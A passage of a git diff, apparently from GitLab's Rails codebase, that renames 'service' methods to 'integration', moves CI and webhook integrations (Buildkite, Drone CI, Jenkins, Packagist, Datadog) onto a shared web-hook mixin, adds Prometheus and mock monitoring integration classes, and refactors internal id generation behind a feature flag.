+ return if nonexistent_integrations.empty?
# Create within a transaction to perform the lowest possible SQL queries.
transaction do
- nonexistent_services.each do |service|
- service.template = true
- service.save
+ nonexistent_integrations.each do |integration|
+ integration.template = true
+ integration.save
end
end
end
private_class_method :create_nonexistent_templates
def self.find_or_initialize_non_project_specific_integration(name, instance: false, group_id: nil)
- return unless name.in?(available_services_names(include_project_specific: false))
+ return unless name.in?(available_integration_names(include_project_specific: false))
integration_name_to_model(name).find_or_initialize_by(instance: instance, group_id: group_id)
end
def self.find_or_initialize_all_non_project_specific(scope)
- scope + build_nonexistent_services_for(scope)
+ scope + build_nonexistent_integrations_for(scope)
end
- def self.build_nonexistent_services_for(scope)
- nonexistent_services_types_for(scope).map do |service_type|
- integration_type_to_model(service_type).new
+ def self.build_nonexistent_integrations_for(scope)
+ nonexistent_integration_types_for(scope).map do |type|
+ integration_type_to_model(type).new
end
end
- private_class_method :build_nonexistent_services_for
+ private_class_method :build_nonexistent_integrations_for
- # Returns a list of service types that do not exist in the given scope.
+ # Returns a list of integration types that do not exist in the given scope.
# Example: ["AsanaService", ...]
- def self.nonexistent_services_types_for(scope)
+ def self.nonexistent_integration_types_for(scope)
# Using #map instead of #pluck to save one query count. This is because
# ActiveRecord loaded the object here, so we don't need to query again later.
- available_services_types(include_project_specific: false) - scope.map(&:type)
+ available_integration_types(include_project_specific: false) - scope.map(&:type)
end
- private_class_method :nonexistent_services_types_for
+ private_class_method :nonexistent_integration_types_for
- # Returns a list of available service names.
+ # Returns a list of available integration names.
# Example: ["asana", ...]
# @deprecated
- def self.available_services_names(include_project_specific: true, include_dev: true)
- service_names = services_names
- service_names += project_specific_services_names if include_project_specific
- service_names += dev_services_names if include_dev
+ def self.available_integration_names(include_project_specific: true, include_dev: true)
+ names = integration_names
+ names += project_specific_integration_names if include_project_specific
+ names += dev_integration_names if include_dev
- service_names.sort_by(&:downcase)
+ names.sort_by(&:downcase)
end
def self.integration_names
INTEGRATION_NAMES
end
- def self.services_names
- integration_names
- end
-
- def self.dev_services_names
+ def self.dev_integration_names
return [] unless Rails.env.development?
DEV_INTEGRATION_NAMES
end
- def self.project_specific_services_names
+ def self.project_specific_integration_names
PROJECT_SPECIFIC_INTEGRATION_NAMES
end
- # Returns a list of available service types.
+ # Returns a list of available integration types.
# Example: ["AsanaService", ...]
- def self.available_services_types(include_project_specific: true, include_dev: true)
- available_services_names(include_project_specific: include_project_specific, include_dev: include_dev).map do |service_name|
- integration_name_to_type(service_name)
+ def self.available_integration_types(include_project_specific: true, include_dev: true)
+ available_integration_names(include_project_specific: include_project_specific, include_dev: include_dev).map do
+ integration_name_to_type(_1)
end
end
- # Returns the model for the given service name.
+ # Returns the model for the given integration name.
# Example: "asana" => Integrations::Asana
def self.integration_name_to_model(name)
type = integration_name_to_type(name)
integration_type_to_model(type)
end
- # Returns the STI type for the given service name.
+ # Returns the STI type for the given integration name.
# Example: "asana" => "AsanaService"
def self.integration_name_to_type(name)
"#{name}_service".camelize
@@ -319,7 +296,7 @@ class Integration < ApplicationRecord
array = group_ids.to_sql.present? ? "array(#{group_ids.to_sql})" : 'ARRAY[]'
where(type: type, group_id: group_ids, inherit_from_id: nil)
- .order(Arel.sql("array_position(#{array}::bigint[], services.group_id)"))
+ .order(Arel.sql("array_position(#{array}::bigint[], #{table_name}.group_id)"))
.first
end
private_class_method :closest_group_integration
@@ -337,7 +314,7 @@ class Integration < ApplicationRecord
with_templates ? active.where(template: true) : none,
active.where(instance: true),
active.where(group_id: group_ids, inherit_from_id: nil)
- ]).order(Arel.sql("type ASC, array_position(#{array}::bigint[], services.group_id), instance DESC")).group_by(&:type).each do |type, records|
+ ]).order(Arel.sql("type ASC, array_position(#{array}::bigint[], #{table_name}.group_id), instance DESC")).group_by(&:type).each do |type, records|
build_from_integration(records.first, association => scope.id).save
end
end
@@ -406,7 +383,7 @@ class Integration < ApplicationRecord
%w[active]
end
- def to_service_hash
+ def to_integration_hash
as_json(methods: :type, except: %w[id template instance project_id group_id])
end
@@ -470,8 +447,8 @@ class Integration < ApplicationRecord
# Disable test for instance-level and group-level integrations.
# https://gitlab.com/gitlab-org/gitlab/-/issues/213138
- def can_test?
- !(instance_level? || group_level?)
+ def testable?
+ project_level?
end
def project_level?
diff --git a/app/models/integrations/bamboo.rb b/app/models/integrations/bamboo.rb
index fef2774c593..590be52151c 100644
--- a/app/models/integrations/bamboo.rb
+++ b/app/models/integrations/bamboo.rb
@@ -18,14 +18,8 @@ module Integrations
attr_accessor :response
- after_save :compose_service_hook, if: :activated?
before_update :reset_password
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.save
- end
-
def reset_password
if bamboo_url_changed? && !password_touched?
self.password = nil
diff --git a/app/models/integrations/base_monitoring.rb b/app/models/integrations/base_monitoring.rb
new file mode 100644
index 00000000000..280eeda7c6c
--- /dev/null
+++ b/app/models/integrations/base_monitoring.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+# Base class for monitoring services
+#
+# These services integrate with a deployment solution like Prometheus
+# to provide additional features for environments.
+module Integrations
+ class BaseMonitoring < Integration
+ default_value_for :category, 'monitoring'
+
+ def self.supported_events
+ %w()
+ end
+
+ def can_query?
+ raise NotImplementedError
+ end
+
+ def query(_, *_)
+ raise NotImplementedError
+ end
+ end
+end
diff --git a/app/models/integrations/base_slash_commands.rb b/app/models/integrations/base_slash_commands.rb
index eacf1184aae..1d271e75a91 100644
--- a/app/models/integrations/base_slash_commands.rb
+++ b/app/models/integrations/base_slash_commands.rb
@@ -20,7 +20,7 @@ module Integrations
%w()
end
- def can_test?
+ def testable?
false
end
diff --git a/app/models/integrations/buildkite.rb b/app/models/integrations/buildkite.rb
index 906a5d02f9c..94a37f0c4f2 100644
--- a/app/models/integrations/buildkite.rb
+++ b/app/models/integrations/buildkite.rb
@@ -4,7 +4,9 @@ require "addressable/uri"
module Integrations
class Buildkite < BaseCi
+ include HasWebHook
include ReactiveService
+ extend Gitlab::Utils::Override
ENDPOINT = "https://buildkite.com"
@@ -13,8 +15,6 @@ module Integrations
validates :project_url, presence: true, public_url: true, if: :activated?
validates :token, presence: true, if: :activated?
- after_save :compose_service_hook, if: :activated?
-
def self.supported_events
%w(push merge_request tag_push)
end
@@ -35,21 +35,15 @@ module Integrations
self.properties.delete('enable_ssl_verification') # Remove unused key
end
- def webhook_url
+ override :hook_url
+ def hook_url
"#{buildkite_endpoint('webhook')}/deliver/#{webhook_token}"
end
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = webhook_url
- hook.enable_ssl_verification = true
- hook.save
- end
-
def execute(data)
return unless supported_events.include?(data[:object_kind])
- service_hook.execute(data)
+ execute_web_hook!(data)
end
def commit_status(sha, ref)
@@ -76,18 +70,22 @@ module Integrations
'buildkite'
end
+ def help
+ s_('ProjectService|Run CI/CD pipelines with Buildkite.')
+ end
+
def fields
[
{ type: 'text',
name: 'token',
- title: 'Integration Token',
- help: 'This token will be provided when you create a Buildkite pipeline with a GitLab repository',
+ title: _('Token'),
+ help: s_('ProjectService|The token you get after you create a Buildkite pipeline with a GitLab repository.'),
required: true },
{ type: 'text',
name: 'project_url',
- title: 'Pipeline URL',
- placeholder: "#{ENDPOINT}/acme-inc/test-pipeline",
+ title: _('Pipeline URL'),
+ placeholder: "#{ENDPOINT}/example-org/test-pipeline",
required: true }
]
end
diff --git a/app/models/integrations/campfire.rb b/app/models/integrations/campfire.rb
index eede3d00307..c78fc6eff51 100644
--- a/app/models/integrations/campfire.rb
+++ b/app/models/integrations/campfire.rb
@@ -2,6 +2,8 @@
module Integrations
class Campfire < Integration
+ include ActionView::Helpers::UrlHelper
+
prop_accessor :token, :subdomain, :room
validates :token, presence: true, if: :activated?
@@ -13,15 +15,39 @@ module Integrations
'Send notifications about push events to Campfire chat rooms.'
end
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('api/services', anchor: 'campfire'), target: '_blank', rel: 'noopener noreferrer'
+ s_('CampfireService|Send notifications about push events to Campfire chat rooms. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
def self.to_param
'campfire'
end
def fields
[
- { type: 'text', name: 'token', placeholder: '', required: true },
- { type: 'text', name: 'subdomain', placeholder: '' },
- { type: 'text', name: 'room', placeholder: '' }
+ {
+ type: 'text',
+ name: 'token',
+ title: _('Campfire token'),
+ placeholder: '',
+ help: s_('CampfireService|API authentication token from Campfire.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'subdomain',
+ title: _('Campfire subdomain (optional)'),
+ placeholder: '',
+ help: s_('CampfireService|The %{code_open}.campfirenow.com%{code_close} subdomain.') % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
+ },
+ {
+ type: 'text',
+ name: 'room',
+ title: _('Campfire room ID (optional)'),
+ placeholder: '123456',
+ help: s_('CampfireService|From the end of the room URL.')
+ }
]
end
diff --git a/app/models/integrations/confluence.rb b/app/models/integrations/confluence.rb
index 30f73496993..7f111f482dd 100644
--- a/app/models/integrations/confluence.rb
+++ b/app/models/integrations/confluence.rb
@@ -58,7 +58,7 @@ module Integrations
]
end
- def can_test?
+ def testable?
false
end
diff --git a/app/models/integrations/datadog.rb b/app/models/integrations/datadog.rb
index dd4b0664d52..27c2fcf266b 100644
--- a/app/models/integrations/datadog.rb
+++ b/app/models/integrations/datadog.rb
@@ -2,10 +2,13 @@
module Integrations
class Datadog < Integration
- DEFAULT_SITE = 'datadoghq.com'
- URL_TEMPLATE = 'https://webhooks-http-intake.logs.%{datadog_site}/v1/input/'
- URL_TEMPLATE_API_KEYS = 'https://app.%{datadog_site}/account/settings#api'
- URL_API_KEYS_DOCS = "https://docs.#{DEFAULT_SITE}/account_management/api-app-keys/"
+ include HasWebHook
+ extend Gitlab::Utils::Override
+
+ DEFAULT_DOMAIN = 'datadoghq.com'
+ URL_TEMPLATE = 'https://webhooks-http-intake.logs.%{datadog_domain}/api/v2/webhook'
+ URL_TEMPLATE_API_KEYS = 'https://app.%{datadog_domain}/account/settings#api'
+ URL_API_KEYS_DOCS = "https://docs.#{DEFAULT_DOMAIN}/account_management/api-app-keys/"
SUPPORTED_EVENTS = %w[
pipeline job
@@ -21,12 +24,10 @@ module Integrations
validates :api_url, presence: true, unless: -> (obj) { obj.datadog_site.present? }
end
- after_save :compose_service_hook, if: :activated?
-
def initialize_properties
super
- self.datadog_site ||= DEFAULT_SITE
+ self.datadog_site ||= DEFAULT_DOMAIN
end
def self.supported_events
@@ -62,7 +63,7 @@ module Integrations
{
type: 'text',
name: 'datadog_site',
- placeholder: DEFAULT_SITE,
+ placeholder: DEFAULT_DOMAIN,
help: 'Choose the Datadog site to send data to. Set to "datadoghq.eu" to send data to the EU site',
required: false
},
@@ -98,35 +99,31 @@ module Integrations
]
end
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = hook_url
- hook.save
- end
-
+ override :hook_url
def hook_url
- url = api_url.presence || sprintf(URL_TEMPLATE, datadog_site: datadog_site)
+ url = api_url.presence || sprintf(URL_TEMPLATE, datadog_domain: datadog_domain)
url = URI.parse(url)
- url.path = File.join(url.path || '/', api_key)
- query = { service: datadog_service.presence, env: datadog_env.presence }.compact
- url.query = query.to_query unless query.empty?
+ query = {
+ "dd-api-key" => api_key,
+ service: datadog_service.presence,
+ env: datadog_env.presence
+ }.compact
+ url.query = query.to_query
url.to_s
end
def api_keys_url
return URL_API_KEYS_DOCS unless datadog_site.presence
- sprintf(URL_TEMPLATE_API_KEYS, datadog_site: datadog_site)
+ sprintf(URL_TEMPLATE_API_KEYS, datadog_domain: datadog_domain)
end
def execute(data)
- return if project.disabled_services.include?(to_param)
-
object_kind = data[:object_kind]
object_kind = 'job' if object_kind == 'build'
return unless supported_events.include?(object_kind)
- service_hook.execute(data, "#{object_kind} hook")
+ execute_web_hook!(data, "#{object_kind} hook")
end
def test(data)
@@ -139,5 +136,14 @@ module Integrations
{ success: true, result: result[:message] }
end
+
+ private
+
+ def datadog_domain
+ # Transparently ignore "app" prefix from datadog_site as the official docs table in
+ # https://docs.datadoghq.com/getting_started/site/ is confusing for internal URLs.
+ # US3 needs to keep a prefix but other datacenters cannot have the listed "app" prefix
+ datadog_site.delete_prefix("app.")
+ end
end
end
diff --git a/app/models/integrations/discord.rb b/app/models/integrations/discord.rb
index ef6d46fd3d3..76160a61bc3 100644
--- a/app/models/integrations/discord.rb
+++ b/app/models/integrations/discord.rb
@@ -54,6 +54,8 @@ module Integrations
builder.add_embed do |embed|
embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar)
embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n")
+ embed.colour = 16543014 # The hex "fc6d26" as an Integer
+ embed.timestamp = Time.now.utc
end
end
rescue RestClient::Exception => error
diff --git a/app/models/integrations/drone_ci.rb b/app/models/integrations/drone_ci.rb
index 0f021356815..c93ae432fe9 100644
--- a/app/models/integrations/drone_ci.rb
+++ b/app/models/integrations/drone_ci.rb
@@ -2,8 +2,10 @@
module Integrations
class DroneCi < BaseCi
+ include HasWebHook
include ReactiveService
include ServicePushDataValidations
+ extend Gitlab::Utils::Override
prop_accessor :drone_url, :token
boolean_accessor :enable_ssl_verification
@@ -11,24 +13,16 @@ module Integrations
validates :drone_url, presence: true, public_url: true, if: :activated?
validates :token, presence: true, if: :activated?
- after_save :compose_service_hook, if: :activated?
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- # If using a service template, project may not be available
- hook.url = [drone_url, "/api/hook", "?owner=#{project.namespace.full_path}", "&name=#{project.path}", "&access_token=#{token}"].join if project
- hook.enable_ssl_verification = !!enable_ssl_verification
- hook.save
- end
-
def execute(data)
+ return unless project
+
case data[:object_kind]
when 'push'
- service_hook.execute(data) if push_valid?(data)
+ execute_web_hook!(data) if push_valid?(data)
when 'merge_request'
- service_hook.execute(data) if merge_request_valid?(data)
+ execute_web_hook!(data) if merge_request_valid?(data)
when 'tag_push'
- service_hook.execute(data) if tag_push_valid?(data)
+ execute_web_hook!(data) if tag_push_valid?(data)
end
end
@@ -105,5 +99,21 @@ module Integrations
{ type: 'checkbox', name: 'enable_ssl_verification', title: "Enable SSL verification" }
]
end
+
+ override :hook_url
+ def hook_url
+ [drone_url, "/hook", "?owner=#{project.namespace.full_path}", "&name=#{project.path}", "&access_token=#{token}"].join
+ end
+
+ override :hook_ssl_verification
+ def hook_ssl_verification
+ !!enable_ssl_verification
+ end
+
+ override :update_web_hook!
+ def update_web_hook!
+ # If using a service template, project may not be available
+ super if project
+ end
end
end
diff --git a/app/models/integrations/ewm.rb b/app/models/integrations/ewm.rb
index 0a4e8d92ed7..24d343b7cb4 100644
--- a/app/models/integrations/ewm.rb
+++ b/app/models/integrations/ewm.rb
@@ -27,7 +27,7 @@ module Integrations
'ewm'
end
- def can_test?
+ def testable?
false
end
diff --git a/app/models/integrations/jenkins.rb b/app/models/integrations/jenkins.rb
index 815e86bcaa1..55fc60990f3 100644
--- a/app/models/integrations/jenkins.rb
+++ b/app/models/integrations/jenkins.rb
@@ -2,7 +2,9 @@
module Integrations
class Jenkins < BaseCi
+ include HasWebHook
include ActionView::Helpers::UrlHelper
+ extend Gitlab::Utils::Override
prop_accessor :jenkins_url, :project_name, :username, :password
@@ -16,8 +18,6 @@ module Integrations
default_value_for :merge_requests_events, false
default_value_for :tag_push_events, false
- after_save :compose_service_hook, if: :activated?
-
def reset_password
# don't reset the password if a new one is provided
if (jenkins_url_changed? || username.blank?) && !password_touched?
@@ -25,16 +25,10 @@ module Integrations
end
end
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = hook_url
- hook.save
- end
-
def execute(data)
return unless supported_events.include?(data[:object_kind])
- service_hook.execute(data, "#{data[:object_kind]}_hook")
+ execute_web_hook!(data, "#{data[:object_kind]}_hook")
end
def test(data)
@@ -48,6 +42,7 @@ module Integrations
{ success: true, result: result[:message] }
end
+ override :hook_url
def hook_url
url = URI.parse(jenkins_url)
url.path = File.join(url.path || '/', "project/#{project_name}")
@@ -97,7 +92,6 @@ module Integrations
{
type: 'text',
name: 'username',
- required: true,
help: s_('The username for the Jenkins server.')
},
{
diff --git a/app/models/integrations/jira.rb b/app/models/integrations/jira.rb
index a5aee35bada..1dc5c0db9e3 100644
--- a/app/models/integrations/jira.rb
+++ b/app/models/integrations/jira.rb
@@ -272,6 +272,10 @@ module Integrations
test(nil)[:success]
end
+ def configured?
+ active? && valid_connection?
+ end
+
def test(_)
result = server_info
success = result.present?
@@ -533,7 +537,7 @@ module Integrations
def update_deployment_type?
(api_url_changed? || url_changed? || username_changed? || password_changed?) &&
- can_test?
+ testable?
end
def update_deployment_type
@@ -573,15 +577,6 @@ module Integrations
data_fields.deployment_server!
end
end
-
- def self.event_description(event)
- case event
- when "merge_request", "merge_request_events"
- s_("JiraService|Jira comments are created when an issue is referenced in a merge request.")
- when "commit", "commit_events"
- s_("JiraService|Jira comments are created when an issue is referenced in a commit.")
- end
- end
end
end
diff --git a/app/models/integrations/mattermost_slash_commands.rb b/app/models/integrations/mattermost_slash_commands.rb
index 6cd664da9e7..30a8ba973c1 100644
--- a/app/models/integrations/mattermost_slash_commands.rb
+++ b/app/models/integrations/mattermost_slash_commands.rb
@@ -6,7 +6,7 @@ module Integrations
prop_accessor :token
- def can_test?
+ def testable?
false
end
diff --git a/app/models/integrations/mock_ci.rb b/app/models/integrations/mock_ci.rb
index a0eae9e4abf..7359be83d4f 100644
--- a/app/models/integrations/mock_ci.rb
+++ b/app/models/integrations/mock_ci.rb
@@ -83,7 +83,7 @@ module Integrations
end
end
- def can_test?
+ def testable?
false
end
end
diff --git a/app/models/integrations/mock_monitoring.rb b/app/models/integrations/mock_monitoring.rb
new file mode 100644
index 00000000000..72bb292edaa
--- /dev/null
+++ b/app/models/integrations/mock_monitoring.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Integrations
+ class MockMonitoring < BaseMonitoring
+ def title
+ 'Mock monitoring'
+ end
+
+ def description
+ 'Mock monitoring service'
+ end
+
+ def self.to_param
+ 'mock_monitoring'
+ end
+
+ def metrics(environment)
+ Gitlab::Json.parse(File.read(Rails.root + 'spec/fixtures/metrics.json'))
+ end
+
+ def testable?
+ false
+ end
+ end
+end
diff --git a/app/models/integrations/packagist.rb b/app/models/integrations/packagist.rb
index b597bd11175..fb0917db02b 100644
--- a/app/models/integrations/packagist.rb
+++ b/app/models/integrations/packagist.rb
@@ -2,6 +2,9 @@
module Integrations
class Packagist < Integration
+ include HasWebHook
+ extend Gitlab::Utils::Override
+
prop_accessor :username, :token, :server
validates :username, presence: true, if: :activated?
@@ -10,8 +13,6 @@ module Integrations
default_value_for :push_events, true
default_value_for :tag_push_events, true
- after_save :compose_service_hook, if: :activated?
-
def title
'Packagist'
end
@@ -39,7 +40,7 @@ module Integrations
def execute(data)
return unless supported_events.include?(data[:object_kind])
- service_hook.execute(data)
+ execute_web_hook!(data)
end
def test(data)
@@ -53,12 +54,7 @@ module Integrations
{ success: true, result: result[:message] }
end
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = hook_url
- hook.save
- end
-
+ override :hook_url
def hook_url
base_url = server.presence || 'https://packagist.org'
"#{base_url}/api/update-package?username=#{username}&apiToken=#{token}"
diff --git a/app/models/integrations/pipelines_email.rb b/app/models/integrations/pipelines_email.rb
index 585bc14242a..efba35cc2a8 100644
--- a/app/models/integrations/pipelines_email.rb
+++ b/app/models/integrations/pipelines_email.rb
@@ -57,7 +57,7 @@ module Integrations
PipelineNotificationWorker.new.perform(pipeline_id, recipients: all_recipients)
end
- def can_test?
+ def testable?
project&.ci_pipelines&.any?
end
diff --git a/app/models/integrations/pivotaltracker.rb b/app/models/integrations/pivotaltracker.rb
index 46f97cc3c6b..24cfd51eb55 100644
--- a/app/models/integrations/pivotaltracker.rb
+++ b/app/models/integrations/pivotaltracker.rb
@@ -2,17 +2,23 @@
module Integrations
class Pivotaltracker < Integration
+ include ActionView::Helpers::UrlHelper
API_ENDPOINT = 'https://www.pivotaltracker.com/services/v5/source_commits'
prop_accessor :token, :restrict_to_branch
validates :token, presence: true, if: :activated?
def title
- 'PivotalTracker'
+ 'Pivotal Tracker'
end
def description
- s_('PivotalTrackerService|Add commit messages as comments to PivotalTracker stories.')
+ s_('PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories.')
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/pivotal_tracker'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Add commit messages as comments to Pivotal Tracker stories. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def self.to_param
@@ -24,14 +30,15 @@ module Integrations
{
type: 'text',
name: 'token',
- placeholder: s_('PivotalTrackerService|Pivotal Tracker API token.'),
+ help: s_('PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user.'),
required: true
},
{
type: 'text',
name: 'restrict_to_branch',
- placeholder: s_('PivotalTrackerService|Comma-separated list of branches which will be ' \
- 'automatically inspected. Leave blank to include all branches.')
+ title: 'Restrict to branch (optional)',
+ help: s_('PivotalTrackerService|Comma-separated list of branches to ' \
+ 'automatically inspect. Leave blank to include all branches.')
}
]
end
diff --git a/app/models/integrations/prometheus.rb b/app/models/integrations/prometheus.rb
new file mode 100644
index 00000000000..54cb823d606
--- /dev/null
+++ b/app/models/integrations/prometheus.rb
@@ -0,0 +1,203 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Prometheus < BaseMonitoring
+ include PrometheusAdapter
+
+ # Access to prometheus is directly through the API
+ prop_accessor :api_url
+ prop_accessor :google_iap_service_account_json
+ prop_accessor :google_iap_audience_client_id
+ boolean_accessor :manual_configuration
+
+ # We need to allow the self-monitoring project to connect to the internal
+ # Prometheus instance.
+ # Since the internal Prometheus instance is usually a localhost URL, we need
+ # to allow localhost URLs when the following conditions are true:
+ # 1. project is the self-monitoring project.
+ # 2. api_url is the internal Prometheus URL.
+ with_options presence: true do
+ validates :api_url, public_url: true, if: ->(object) { object.manual_configuration? && !object.allow_local_api_url? }
+ validates :api_url, url: true, if: ->(object) { object.manual_configuration? && object.allow_local_api_url? }
+ end
+
+ before_save :synchronize_service_state
+
+ after_save :clear_reactive_cache!
+
+ after_commit :track_events
+
+ after_create_commit :create_default_alerts
+
+ scope :preload_project, -> { preload(:project) }
+ scope :with_clusters_with_cilium, -> { joins(project: [:clusters]).merge(Clusters::Cluster.with_available_cilium) }
+
+ def initialize_properties
+ if properties.nil?
+ self.properties = {}
+ end
+ end
+
+ def show_active_box?
+ false
+ end
+
+ def title
+ 'Prometheus'
+ end
+
+ def description
+ s_('PrometheusService|Monitor application health with Prometheus metrics and dashboards')
+ end
+
+ def self.to_param
+ 'prometheus'
+ end
+
+ def fields
+ [
+ {
+ type: 'checkbox',
+ name: 'manual_configuration',
+ title: s_('PrometheusService|Active'),
+ help: s_('PrometheusService|Select this checkbox to override the auto configuration settings with your own settings.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'api_url',
+ title: 'API URL',
+ placeholder: s_('PrometheusService|https://prometheus.example.com/'),
+ help: s_('PrometheusService|The Prometheus API base URL.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'google_iap_audience_client_id',
+ title: 'Google IAP Audience Client ID',
+ placeholder: s_('PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com'),
+ help: s_('PrometheusService|PrometheusService|The ID of the IAP-secured resource.'),
+ autocomplete: 'off',
+ required: false
+ },
+ {
+ type: 'textarea',
+ name: 'google_iap_service_account_json',
+ title: 'Google IAP Service Account JSON',
+ placeholder: s_('PrometheusService|{ "type": "service_account", "project_id": ... }'),
+ help: s_('PrometheusService|The contents of the credentials.json file of your service account.'),
+ required: false
+ }
+ ]
+ end
+
+ # Check we can connect to the Prometheus API
+ def test(*args)
+ prometheus_client.ping
+ { success: true, result: 'Checked API endpoint' }
+ rescue Gitlab::PrometheusClient::Error => err
+ { success: false, result: err }
+ end
+
+ def prometheus_client
+ return unless should_return_client?
+
+ options = prometheus_client_default_options.merge(
+ allow_local_requests: allow_local_api_url?
+ )
+
+ if behind_iap?
+ # Adds the Authorization header
+ options[:headers] = iap_client.apply({})
+ end
+
+ Gitlab::PrometheusClient.new(api_url, options)
+ end
+
+ def prometheus_available?
+ return false if template?
+ return false unless project
+
+ project.all_clusters.enabled.eager_load(:integration_prometheus).any? do |cluster|
+ cluster.integration_prometheus_available?
+ end
+ end
+
+ def allow_local_api_url?
+ allow_local_requests_from_web_hooks_and_services? ||
+ (self_monitoring_project? && internal_prometheus_url?)
+ end
+
+ def configured?
+ should_return_client?
+ end
+
+ private
+
+ delegate :allow_local_requests_from_web_hooks_and_services?, to: :current_settings, private: true
+
+ def self_monitoring_project?
+ project && project.id == current_settings.self_monitoring_project_id
+ end
+
+ def internal_prometheus_url?
+ api_url.present? && api_url == ::Gitlab::Prometheus::Internal.uri
+ end
+
+ def should_return_client?
+ api_url.present? && manual_configuration? && active? && valid?
+ end
+
+ def current_settings
+ Gitlab::CurrentSettings.current_application_settings
+ end
+
+ def synchronize_service_state
+ self.active = prometheus_available? || manual_configuration?
+
+ true
+ end
+
+ def track_events
+ if enabled_manual_prometheus?
+ Gitlab::Tracking.event('cluster:services:prometheus', 'enabled_manual_prometheus')
+ elsif disabled_manual_prometheus?
+ Gitlab::Tracking.event('cluster:services:prometheus', 'disabled_manual_prometheus')
+ end
+
+ true
+ end
+
+ def enabled_manual_prometheus?
+ manual_configuration_changed? && manual_configuration?
+ end
+
+ def disabled_manual_prometheus?
+ manual_configuration_changed? && !manual_configuration?
+ end
+
+ def create_default_alerts
+ return unless project_id
+
+ ::Prometheus::CreateDefaultAlertsWorker.perform_async(project_id)
+ end
+
+ def behind_iap?
+ manual_configuration? && google_iap_audience_client_id.present? && google_iap_service_account_json.present?
+ end
+
+ def clean_google_iap_service_account
+ return unless google_iap_service_account_json
+
+ google_iap_service_account_json
+ .then { |json| Gitlab::Json.parse(json) }
+ .except('token_credential_uri')
+ end
+
+ def iap_client
+ @iap_client ||= Google::Auth::Credentials
+ .new(clean_google_iap_service_account, target_audience: google_iap_audience_client_id)
+ .client
+ end
+ end
+end
diff --git a/app/models/integrations/teamcity.rb b/app/models/integrations/teamcity.rb
index 3f14c5d82b3..135c304b57e 100644
--- a/app/models/integrations/teamcity.rb
+++ b/app/models/integrations/teamcity.rb
@@ -18,7 +18,6 @@ module Integrations
attr_accessor :response
- after_save :compose_service_hook, if: :activated?
before_update :reset_password
class << self
@@ -29,20 +28,6 @@ module Integrations
def supported_events
%w(push merge_request)
end
-
- def event_description(event)
- case event
- when 'push', 'push_events'
- 'TeamCity CI will be triggered after every push to the repository except branch delete'
- when 'merge_request', 'merge_request_events'
- 'TeamCity CI will be triggered after a merge request has been created or updated'
- end
- end
- end
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.save
end
def reset_password
diff --git a/app/models/internal_id.rb b/app/models/internal_id.rb
index b56bac58705..f114094d69c 100644
--- a/app/models/internal_id.rb
+++ b/app/models/internal_id.rb
@@ -16,7 +16,7 @@
# * Add `usage` value to enum
# * (Optionally) add columns to `internal_ids` if needed for scope.
class InternalId < ApplicationRecord
- include Gitlab::Utils::StrongMemoize
+ extend Gitlab::Utils::StrongMemoize
belongs_to :project
belongs_to :namespace
@@ -25,6 +25,10 @@ class InternalId < ApplicationRecord
validates :usage, presence: true
+ scope :filter_by, -> (scope, usage) do
+ where(**scope, usage: usage)
+ end
+
# Increments #last_value and saves the record
#
# The operation locks the record and gathers a `ROW SHARE` lock (in PostgreSQL).
@@ -53,18 +57,15 @@ class InternalId < ApplicationRecord
class << self
def track_greatest(subject, scope, usage, new_value, init)
- InternalIdGenerator.new(subject, scope, usage, init)
- .track_greatest(new_value)
+ build_generator(subject, scope, usage, init).track_greatest(new_value)
end
def generate_next(subject, scope, usage, init)
- InternalIdGenerator.new(subject, scope, usage, init)
- .generate
+ build_generator(subject, scope, usage, init).generate
end
def reset(subject, scope, usage, value)
- InternalIdGenerator.new(subject, scope, usage)
- .reset(value)
+ build_generator(subject, scope, usage).reset(value)
end
# Flushing records is generally safe in a sense that those
@@ -77,11 +78,36 @@ class InternalId < ApplicationRecord
where(filter).delete_all
end
+
+ def internal_id_transactions_increment(operation:, usage:)
+ self.internal_id_transactions_total.increment(
+ operation: operation,
+ usage: usage.to_s,
+ in_transaction: ActiveRecord::Base.connection.transaction_open?.to_s
+ )
+ end
+
+ def internal_id_transactions_total
+ strong_memoize(:internal_id_transactions_total) do
+ name = :gitlab_internal_id_transactions_total
+ comment = 'Counts all the internal ids happening within transaction'
+
+ Gitlab::Metrics.counter(name, comment)
+ end
+ end
+
+ private
+
+ def build_generator(subject, scope, usage, init = nil)
+ if Feature.enabled?(:generate_iids_without_explicit_locking)
+ ImplicitlyLockingInternalIdGenerator.new(subject, scope, usage, init)
+ else
+ InternalIdGenerator.new(subject, scope, usage, init)
+ end
+ end
end
class InternalIdGenerator
- extend Gitlab::Utils::StrongMemoize
-
# Generate next internal id for a given scope and usage.
#
# For currently supported usages, see #usage enum.
@@ -117,7 +143,7 @@ class InternalId < ApplicationRecord
# init: Block that gets called to initialize InternalId record if not present
# Make sure to not throw exceptions in the absence of records (if this is expected).
def generate
- self.class.internal_id_transactions_increment(operation: :generate, usage: usage)
+ InternalId.internal_id_transactions_increment(operation: :generate, usage: usage)
subject.transaction do
# Create a record in internal_ids if one does not yet exist
@@ -134,7 +160,7 @@ class InternalId < ApplicationRecord
def reset(value)
return false unless value
